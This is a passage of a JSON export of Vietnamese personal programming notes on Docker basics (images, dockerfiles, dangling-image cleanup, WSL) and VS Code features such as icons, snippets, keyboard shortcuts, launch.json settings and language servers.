nội dung": "> Docker Desktop has its own distributions When you stop Docker Desktop you stop those distributions and maybe some Windows services.\r\n\r\nTrên Windows, wsl chính là máy ảo đó\r\n\r\nNguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-19T08:55:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VA" + }, + { + "Tiêu đề": "Docker", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Công cụ/Docker\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n\r\n[Hết dung lượng disk do chạy Docker trong thời gian dài](https://viblo.asia/p/het-dung-luong-disk-do-chay-docker-trong-thoi-gian-dai-oK9Vyze94QR#comment-bXP4WgPr47G)\r\n\r\nTiếng Pháp, phụ đề tiếng Anh: [Understanding Docker in a visual way - YouTube](https://www.youtube.com/playlist?list=PLmw3X80dPdlyRV2EUKnFOvBACs_tcArd0)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-11-10T06:13:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VB" + }, + { + "Tiêu đề": "Engine bao gồm CLI client, API và deamon", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Engine bao gồm CLI client, API và deamon", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Trong trường hợp của Docker Desktop, CLI client nằm ở máy host, còn daemon nằm ở máy ảo\r\n\r\nNguồn:: [Difference between Docker Desktop and Docker Engine - General Discussions - Docker Community Forums](https://forums.docker.com/t/difference-between-docker-desktop-and-docker-engine/124612/2?u=ooker)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VC" + }, + { + "Tiêu đề": "exec để chạy lệnh cho một container đang chạy", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/exec để chạy lệnh cho một container đang chạy", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VD" + }, + { + "Tiêu đề": "Image là template để chạy container", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Image là template để chạy container", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VE" + }, + { + "Tiêu đề": "Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Việc dựng image được thiết lập qua dockerfile]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VF" + }, + { + "Tiêu đề": "Nếu dựng lại image mà đánh tag giống nhau thì image cũ sẽ thành danling image", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Nếu dựng lại image mà đánh tag giống nhau thì image cũ sẽ thành danling image", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Viblo]], [Vì sao lại có image `<none>` sau khi build docker?](https://viblo.asia/p/vi-sao-lai-co-image-none-sau-khi-build-docker-L4x5xvBgZBM)\r\n\r\nNếu muốn xoá luôn chúng lúc dựng thì dùng `docker build --rm`. Để xoá hết thì dùng:\r\n```\r\ndocker rmi $(docker images -f “dangling=true” -q)\r\n```\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VG" + }, + { + "Tiêu đề": "Việc dựng image được thiết lập qua dockerfile", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Việc dựng image được thiết lập qua dockerfile", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: ![Learn Docker in 7 Easy Steps - Full Beginner's Tutorial - YouTube](https://youtu.be/gAkwW2tuIqE?si=hvz8xyWfGNlOUCqr)\r\n\r\nVí dụ:\r\n```docker\r\nFROM image_cơ_sở\r\nWORKDIR /app\r\nCOPY package.json ./\r\nRUN npm install\r\nCOPY ./ .\r\nEXPOSE 80\r\nCMD lệnh_khi_image_được_chạy\r\n\r\n```\r\n[[Mỗi một dòng trong dockerfile sẽ tương ứng với một step khi dựng image]]\r\n[[Container chỉ là một process]]. [[Image là template để chạy container]] \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VH" + }, + { + "Tiêu đề": "Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Docker/Volume là cách để đồng bộ dữ liệu giữa máy chủ và máy ảo", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VI" + }, + { + "Tiêu đề": "Bấm F12 để biết thêm thông tin về biến", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Bấm F12 để biết thêm thông tin về biến", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VJ" + }, + { + "Tiêu đề": "Các biểu tượng dùng trong VS Code", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Các biểu tượng dùng trong VS Code", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "| Icon | Name | Symbol type |\r\n| ----------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- | ----------------------------------- |\r\n| ![method icon](https://code.visualstudio.com/assets/docs/editor/intellisense/Method_16x.svg) | Methods and Functions | `method`, `function`, `constructor` |\r\n| ![variable icon](https://code.visualstudio.com/assets/docs/editor/intellisense/Variable_16x.svg) | Variables | `variable` |\r\n| ![field icon](https://code.visualstudio.com/assets/docs/editor/intellisense/Field_16x.svg) | Fields | `field` |\r\n| ![type parameter](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-parameter.svg) | Type parameters | `typeParameter` |\r\n| ![constant](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-constant.svg) | Constants | `constant` |\r\n| ![class](https://code.visualstudio.com/assets/docs/editor/intellisense/Class_16x.svg) | Classes | `class` |\r\n| ![interface](https://code.visualstudio.com/assets/docs/editor/intellisense/Interface_16x.svg) | Interfaces | `interface` |\r\n| ![structure](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-structure.svg) | Structures | `struct` |\r\n| ![event](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-event.svg) | Events | `event` |\r\n| ![operator](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-operator.svg) | Operators | `operator` |\r\n| ![module](https://code.visualstudio.com/assets/docs/editor/intellisense/Namespace_16x.svg) | Modules | `module` |\r\n| ![property](https://code.visualstudio.com/assets/docs/editor/intellisense/Property_16x.svg) | Properties and Attributes | `property` |\r\n| ![enumeration icon](https://code.visualstudio.com/assets/docs/editor/intellisense/EnumItem_16x.svg) | Values and Enumerations | `value`, `enum` |\r\n| ![reference](https://code.visualstudio.com/assets/docs/editor/intellisense/Reference_16x.svg) | References | `reference` |\r\n| ![keyword](https://code.visualstudio.com/assets/docs/editor/intellisense/Keyword_16x.svg) | Keywords | `keyword` |\r\n| ![file](https://code.visualstudio.com/assets/docs/editor/intellisense/symbol-file.svg) | Files | `file` |\r\n| ![folder](https://code.visualstudio.com/assets/docs/editor/intellisense/folder.svg) | Folders | `folder` |\r\n| ![color](https://code.visualstudio.com/assets/docs/editor/intellisense/ColorPalette_16x.svg) | Colors | `color` |\r\n| ![unit](https://code.visualstudio.com/assets/docs/editor/intellisense/Ruler_16x.svg) | Unit | `unit` |\r\n| ![a square with ellipses forming the bottom show snippet prefix](https://code.visualstudio.com/assets/docs/editor/intellisense/Snippet_16x.svg) | Snippet prefixes | `snippet` |\r\n| ![a square with letters abc word completion](https://code.visualstudio.com/assets/docs/editor/intellisense/String_16x.svg) | Words | `text` |\r\n| \r\nNguồn:: [IntelliSense in Visual Studio Code](https://code.visualstudio.com/docs/editor/intellisense#_types-of-completions)\r\n\r\nXanh đậm: biến trong file\r\nXanh nhạt: biến ngoài file", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VK" + }, + { + "Tiêu đề": "Dùng snippet để viết tắt code", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Dùng snippet để viết tắt code", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "| Trigger | Content |\r\n| ------- | ------------------------------------------------------------------ |\r\n| `cas→` | console alert method `console.assert(expression, object)` |\r\n| `ccl→` | console clear `console.clear()` |\r\n| `cco→` | console count `console.count(label)` |\r\n| `cdb→` | console debug `console.debug(object)` |\r\n| `cdi→` | console dir `console.dir` |\r\n| `cer→` | console error `console.error(object)` |\r\n| `cgr→` | console group `console.group(label)` |\r\n| `cge→` | console groupEnd `console.groupEnd()` |\r\n| `clg→` | console log `console.log(object)` |\r\n| `clo→` | console log object with name `console.log('object :>> ', object);` |\r\n| `ctr→` | console trace `console.trace(object)` |\r\n| `cwa→` | console warn `console.warn` |\r\n| `cin→` | console info `console.info` |\r\n| `clt→` | console table `console.table` |\r\n| `cti→` | console time `console.time` |\r\n| `cte→` | console timeEnd `console.timeEnd` |\r\n\r\nNguồn:: [JavaScript (ES6) code snippets](https://marketplace.visualstudio.com/items?itemName=xabikos.JavaScriptSnippets)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VL" + }, + { + "Tiêu đề": "Giao diện VS Code", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Giao diện VS Code", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## [Git Status Bar actions](https://code.visualstudio.com/docs/sourcecontrol/overview#_git-status-bar-actions)\r\n\r\nThere is a **Synchronize Changes** action in the Status Bar, next to the branch indicator, when the current checked out branch has an upstream branch configured. **Synchronize Changes** will pull remote changes down to your local repository and then push local commits to the upstream branch.\r\n\r\n![git status bar sync](https://code.visualstudio.com/assets/docs/sourcecontrol/overview/git-status-bar-sync.png)\r\n\r\nIf there is no upstream branch configured and the Git repository has remotes set up, the **Publish** action is enabled. This will let you publish the current branch to a remote.\r\n\r\n![git status bar publish](https://code.visualstudio.com/assets/docs/sourcecontrol/overview/git-status-bar-publish.png)\r\n\r\n## [Gutter indicators](https://code.visualstudio.com/docs/sourcecontrol/overview#_gutter-indicators)\r\n\r\nIf you open a folder that is a Git repository and begin making changes, VS Code will add useful annotations to the gutter and to the overview ruler.\r\n\r\n- A red triangle indicates where lines have been deleted\r\n- A green bar indicates new added lines\r\n- A blue bar indicates modified lines\r\n\r\n![Gutter indicators](https://code.visualstudio.com/assets/docs/sourcecontrol/overview/gutter.png)\r\n\r\nNguồn:: [Source Control with Git in Visual Studio Code](https://code.visualstudio.com/docs/sourcecontrol/overview#_gutter-indicators \"Source Control with Git in Visual Studio Code\")\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-07-28T05:35:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VM" + }, + { + "Tiêu đề": "Hằng là xanh lợt, biến là xanh đậm", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Hằng là xanh lợt, biến là xanh đậm", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://i.imgur.com/GRFQjkb.png)\r\n- Cái `importVar` đầu tiên, `varVar`, `letVar`, `console` đều biến nên có màu xanh đậm\r\n- `constVar` là hằng nên có màu xanh nhạt\r\n- `log`, `importVar` là hàm nên có màu vàng\r\n\r\nBấm <kbd>Ctrl+Shift+P</kbd> và chọn *Developer: Inspect Editor Tokens and Scopes* để hiểu thêm từng cái.\r\n![VS Code tips — The \"Developer: Inspect editor tokens and scopes\" command - YouTube](https://youtu.be/mC_htrJ1QPg?si=nsJ9Iztfg9urpbKw)\r\n[Syntax Highlight Guide | Visual Studio Code Extension API](https://code.visualstudio.com/api/language-extensions/syntax-highlight-guide#scope-inspector)\r\n[Visual Studio Code - meaning of syntax highlight colors](https://stackoverflow.com/a/57765111/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VN" + }, + { + "Tiêu đề": "Language server là thứ khiến cho IDE hỗ trợ tốt hơn việc lập trình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Language server là thứ khiến cho IDE hỗ trợ tốt hơn việc lập trình", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Trước tiên, cần nhắc tới Language Server, là chỉ tiện ích mở rộng cung cấp trải nghiệm chỉnh sửa cho nhiều ngôn ngữ lập trình. Với Language Server, bạn có thể triển khai tính năng tự động hoàn thành (autocomplete), kiểm tra lỗi (diagnostics), tìm tới định nghĩa (jump-to-definition), vân vân và mây mây. Ví dụ mình sử dụng PHP, thì Language Server của PHP có thể đủ thông minh mà tìm ra lỗi cú pháp, chỉ ra cái function của mình nó đang nằm ở đâu,... Các vấn đề về Language Server được team phát triển của Visual Studio Code gặp phải và nhắc tới với 3 khó khăn chủ yếu:\r\n\r\n- Đầu tiên, Languague Server thường được triển khai tại ngôn ngữ lập trình gốc của chính nó. Thế nên khá khó cho VSCode trong việc tích hợp từng ngôn ngữ vào một editor sử dụng NodeJS runtime, trong khi điều mà VSCode nhắm tới chính là khả năng mở rộng và tính tùy biến phù hợp mọi ngôn ngữ lập trình.\r\n- Thêm vào đó, các tính năng của ngôn ngữ cụ thể có thể tiêu tốn nhiều, rất nhiều tài nguyên trên máy tính.\r\n- Cuối cùng, tích hợp nhiều công cụ ngôn ngữ với nhiều trình soạn thảo code riêng biệt đòi hỏi lượng công việc đáng kể. Từ quan điểm trên, về việc cần phải tích hợp các editor khác nhau với các API của language khác nhau, ta có thể nhìn thấy rằng giả sử có M ngôn ngữ lập trình và N editor riêng biệt => lượng công việc là M x N 😂 Quả là sự lãng phí về thời gian và nhân lực.\r\n\r\nĐể giải quyết vấn đề trên, Microsoft đã xây dựng một giao thức nằm giữa, nhằm chuẩn hóa giao tiếp giữa ngôn ngữ lập trình và trình soạn thảo code, hay chính là Language Server Protocal (LSP). Bằng cách này, Language Server có thể triển khai bằng bất kỳ ngôn ngữ nào và chạy trong quy trình riêng của nó, thay vì bắt NodeJS phải thực thi các file PHP chẳng hạn, vì chúng chỉ giao tiếp với Language Server Protocol. Và ở phía editor của chúng ta, chỉ cần nó tuân thủ LSP thì cũng có thể dễ dàng triển khai thực hiện các tiện ích của Language Server.\r\n\r\n![image.png](https://images.viblo.asia/6bdf819b-36d2-41fd-bf24-804d33da8142.png)\r\nNguồn:: [[Viblo]], [Vim vs. Neovim 2022 - Có những gì khác nhau - Viblo](https://viblo.asia/p/vim-vs-neovim-2022-co-nhung-gi-khac-nhau-Qbq5QRaRKD8)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VO" + }, + { + "Tiêu đề": "launch.json dùng để thiết lập debugger", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/launch.json dùng để thiết lập debugger", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![Getting started with Node.js debugging in VS Code - YouTube](https://youtu.be/2oFKNL7vYV8)\r\nCác thuộc tính sau là bắt buộc đối với mọi cấu hình khởi chạy:\r\n\r\n - loại - loại trình gỡ lỗi sẽ sử dụng cho cấu hình khởi chạy này. Mỗi tiện ích mở rộng gỡ lỗi được cài đặt đều giới thiệu một loại: nút cho trình gỡ lỗi Node tích hợp sẵn, hoặc php và sử dụng các tiện ích mở rộng PHP và Go.\r\n - yêu cầu - loại yêu cầu của cấu hình khởi chạy này. Hiện tại, khởi chạy và đính kèm được hỗ trợ.\r\n - tên - tên thân thiện với người đọc sẽ xuất hiện trong danh sách thả xuống cấu hình khởi chạy Gỡ lỗi.\r\n\r\nDưới đây là một số thuộc tính tùy chọn có sẵn cho tất cả các cấu hình khởi chạy:\r\n\r\n - bản trình bày - bằng cách sử dụng các thuộc tính thứ tự, nhóm và ẩn trong đối tượng bản trình bày, bạn có thể sắp xếp, nhóm và ẩn các cấu hình và hợp chất trong trình đơn thả xuống Cấu hình gỡ lỗi và trong phần chọn nhanh Gỡ lỗi.\r\n - preLaunchTask - để khởi chạy tác vụ trước khi bắt đầu phiên gỡ lỗi, hãy đặt thuộc tính này thành nhãn của tác vụ được chỉ định trong task.json (trong thư mục .vscode của không gian làm việc). Hoặc, điều này có thể được đặt thành ${defaultBuildTask} để sử dụng tác vụ xây dựng mặc định của bạn.\r\n - postDebugTask - để khởi chạy tác vụ ở cuối phiên gỡ lỗi, hãy đặt thuộc tính này thành tên của tác vụ được chỉ định trong task.json (trong thư mục .vscode của không gian làm việc).\r\n - internalConsoleOptions - thuộc tính này kiểm soát khả năng hiển thị của bảng điều khiển Gỡ lỗi trong phiên gỡ lỗi.\r\n - debugServer - chỉ dành cho tác giả tiện ích mở rộng gỡ lỗi: thuộc tính này cho phép bạn kết nối với một cổng được chỉ định thay vì khởi chạy bộ điều hợp gỡ lỗi.\r\n - serverReadyAction - nếu bạn muốn mở một URL trong trình duyệt web bất cứ khi nào chương trình đang gỡ lỗi xuất một thông báo cụ thể tới bảng điều khiển gỡ lỗi hoặc thiết bị đầu cuối tích hợp. Để biết chi tiết, hãy xem phần Tự động mở URI khi gỡ lỗi chương trình máy chủ bên dưới.\r\n\r\nNhiều trình gỡ lỗi hỗ trợ một số thuộc tính sau:\r\n\r\n chương trình - tệp thực thi hoặc tệp để chạy khi khởi chạy trình gỡ lỗi\r\n args - đối số được truyền cho chương trình để gỡ lỗi\r\n env - biến môi trường (giá trị null có thể được sử dụng để \"không xác định\" một biến)\r\n envFile - đường dẫn đến tệp dotenv với các biến môi trường\r\n cwd - thư mục làm việc hiện tại để tìm các tệp phụ thuộc và các tệp khác\r\n cổng - cổng khi gắn vào một quy trình đang chạy\r\n stopOnEntry - ngắt ngay lập tức khi chương trình khởi chạy\r\n bảng điều khiển - loại bảng điều khiển nào sẽ sử dụng, ví dụ: internalConsole, integrationTerminal hoặc externalTerminal\r\n\r\nThe following attributes are mandatory for every launch configuration:\r\n\r\n type - the type of debugger to use for this launch configuration. Every installed debug extension introduces a type: node for the built-in Node debugger, for example, or php and go for the PHP and Go extensions.\r\n request - the request type of this launch configuration. Currently, launch and attach are supported.\r\n name - the reader-friendly name to appear in the Debug launch configuration dropdown.\r\n\r\nHere are some optional attributes available to all launch configurations:\r\n\r\n presentation - using the order, group, and hidden attributes in the presentation object, you can sort, group, and hide configurations and compounds in the Debug configuration dropdown and in the Debug quick pick.\r\n preLaunchTask - to launch a task before the start of a debug session, set this attribute to the label of a task specified in tasks.json (in the workspace's .vscode folder). Or, this can be set to ${defaultBuildTask} to use your default build task.\r\n postDebugTask - to launch a task at the very end of a debug session, set this attribute to the name of a task specified in tasks.json (in the workspace's .vscode folder).\r\n internalConsoleOptions - this attribute controls the visibility of the Debug Console panel during a debugging session.\r\n debugServer - for debug extension authors only: this attribute allows you to connect to a specified port instead of launching the debug adapter.\r\n serverReadyAction - if you want to open a URL in a web browser whenever the program under debugging outputs a specific message to the debug console or integrated terminal. For details see section Automatically open a URI when debugging a server program below.\r\n\r\nMany debuggers support some of the following attributes:\r\n\r\n program - executable or file to run when launching the debugger\r\n args - arguments passed to the program to debug\r\n env - environment variables (the value null can be used to \"undefine\" a variable)\r\n envFile - path to dotenv file with environment variables\r\n cwd - current working directory for finding dependencies and other files\r\n port - port when attaching to a running process\r\n stopOnEntry - break immediately when the program launches\r\n console - what kind of console to use, for example, internalConsole, integratedTerminal, or externalTerminal\r\n\r\nVariable substitution\r\nNguồn:: The following attributes are mandatory for every launch configuration:\r\n\r\n type - the type of debugger to use for this launch configuration. Every installed debug extension introduces a type: node for the built-in Node debugger, for example, or php and go for the PHP and Go extensions.\r\n request - the request type of this launch configuration. Currently, launch and attach are supported.\r\n name - the reader-friendly name to appear in the Debug launch configuration dropdown.\r\n\r\nHere are some optional attributes available to all launch configurations:\r\n\r\n presentation - using the order, group, and hidden attributes in the presentation object, you can sort, group, and hide configurations and compounds in the Debug configuration dropdown and in the Debug quick pick.\r\n preLaunchTask - to launch a task before the start of a debug session, set this attribute to the label of a task specified in tasks.json (in the workspace's .vscode folder). Or, this can be set to ${defaultBuildTask} to use your default build task.\r\n postDebugTask - to launch a task at the very end of a debug session, set this attribute to the name of a task specified in tasks.json (in the workspace's .vscode folder).\r\n internalConsoleOptions - this attribute controls the visibility of the Debug Console panel during a debugging session.\r\n debugServer - for debug extension authors only: this attribute allows you to connect to a specified port instead of launching the debug adapter.\r\n serverReadyAction - if you want to open a URL in a web browser whenever the program under debugging outputs a specific message to the debug console or integrated terminal. For details see section Automatically open a URI when debugging a server program below.\r\n\r\nMany debuggers support some of the following attributes:\r\n\r\n program - executable or file to run when launching the debugger\r\n args - arguments passed to the program to debug\r\n env - environment variables (the value null can be used to \"undefine\" a variable)\r\n envFile - path to dotenv file with environment variables\r\n cwd - current working directory for finding dependencies and other files\r\n port - port when attaching to a running process\r\n stopOnEntry - break immediately when the program launches\r\n console - what kind of console to use, for example, internalConsole, integratedTerminal, or externalTerminal\r\n\r\nVariable substitution\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VP" + }, + { + "Tiêu đề": "Nhiều người có thể cùng chỉnh sửa cùng lúc như Google Docs", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Nhiều người có thể cùng chỉnh sửa cùng lúc như Google Docs", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://youtu.be/I7TZdfSaAhk?si=P93mHushcBJ095hY) \r\n\r\n[[File Google Docs không thực sự là file]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-05T10:40:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VQ" + }, + { + "Tiêu đề": "Phím tắt trong VS Code", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Phím tắt trong VS Code", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# Mở code\r\n\r\n| Phím tắt | Chức năng |\r\n| ----------------------------------------- | -------------------------------------------------------------------- |\r\n| <kbd>Ctrl + K + O</kbd> | Mở folder |\r\n| <kbd>Ctrl + R</kbd> | Đổi workspace |\r\n| <kbd>Ctrl + E</kbd>, <kbd>Ctrl + P</kbd> | Đổi file |\r\n\r\n# Đọc code\r\n\r\n| Phím tắt | Chức năng |\r\n| --------------------------- | --------------------------------------------------------- |\r\n| <kbd>Alt + Z</kbd> | Word wrap |\r\n| <kbd>Ctrl + Shift + [</kbd> | Thu gọn khối code |\r\n| <kbd>Ctrl + Shift + ]</kbd> | Mở rộng khối code |\r\n| <kbd>Ctrl + Shift + .</kbd> | Mở danh sách các hàm và biến |\r\n| <kbd>F12</kbd> | Đến nhanh những nơi hàm hoặc biến được sử dụng |\r\n| <kbd>Ctrl + Space</kbd> | Mở danh sách gợi ý điền nhanh |\r\n| <kbd>Ctrl + K Z</kbd> | Mở zen mode |\r\n| <kbd>Ctrl + \\</kbd> | Chia màn hình thành các editor (hay còn gọi là tab group) |\r\n| <kbd>Ctrl + 1, 2, 3</kbd> | Di chuyển giữa các editor |\r\n| <kbd>F6</kbd> | Đổi panel |\r\n| <kbd>Ctrl + B</kbd> | Mở sidebar trái (VS Code gọi là primary sidebar) |\r\n| <kbd>Ctrl + Shift + B</kbd> | Mở sidebar phải (VS Code gọi là secondary sidebar) |\r\n| <kbd>Alt + ←</kbd> | Quay lại vị trí con trỏ lần trước | \r\n\r\n# Viết code\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------------------------------- | ---------------------------------------------------------- |\r\n| <kbd>Alt + ↑/↓</kbd> | Di chuyển dòng lên/xuống |\r\n| <kbd>Alt + Shift + ↑/↓</kbd> | Sao chép dòng lên/xuống |\r\n| <kbd>Ctrl + D</kbd> | Chọn lần lượt các biến cùng tên |\r\n| <kbd>Ctrl + Shift + L</kbd> | Chọn tất cả các biến cùng tên |\r\n| <kbd>Ctrl + Shift + K</kbd> | Xoá dòng |\r\n| <kbd>Ctrl + [</kbd>, <kbd>Ctrl + ]</kbd> | Thụt dòng vào/ra |\r\n| <kbd>Ctrl + Alt + ↑/↓</kbd> | Thêm 1 con trỏ lên dòng bên trên (gõ đồng thời nhiều dòng) |\r\n| <kbd>Ctrl + /</kbd> | Comment/uncomment |\r\n\r\n# Chạy code\r\n\r\n| Phím tắt | Chức năng |\r\n| --------------------------- | ------------------------------------------------------------- |\r\n| <kbd>F5</kbd> | Chạy code | \r\n| <kbd>F9</kbd> | Tạo breakpoint |\r\n| <kbd>Ctrl + Shift + D</kbd> | Mở debug sidebar |\r\n| <kbd>Ctrl + `</kbd> | Mở [[Terminal là cái chương trình để làm việc với shell|terminal]] |\r\n| <kbd>Ctrl + Shift + Y</kbd> | Mở debug console |\r\n\r\n# Thiết lập VS Code\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------------------- | ---------------------- |\r\n| <kbd>Ctrl + Shift + P</kbd> | Mở danh sách lệnh |\r\n| <kbd>Ctrl + K Ctrl + S</kbd> | Mở danh sách phím tắt |\r\n| <kbd>Ctrl + K Ctrl + T</kbd> | Mở danh sách giao diện |\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "VR" + }, + { + 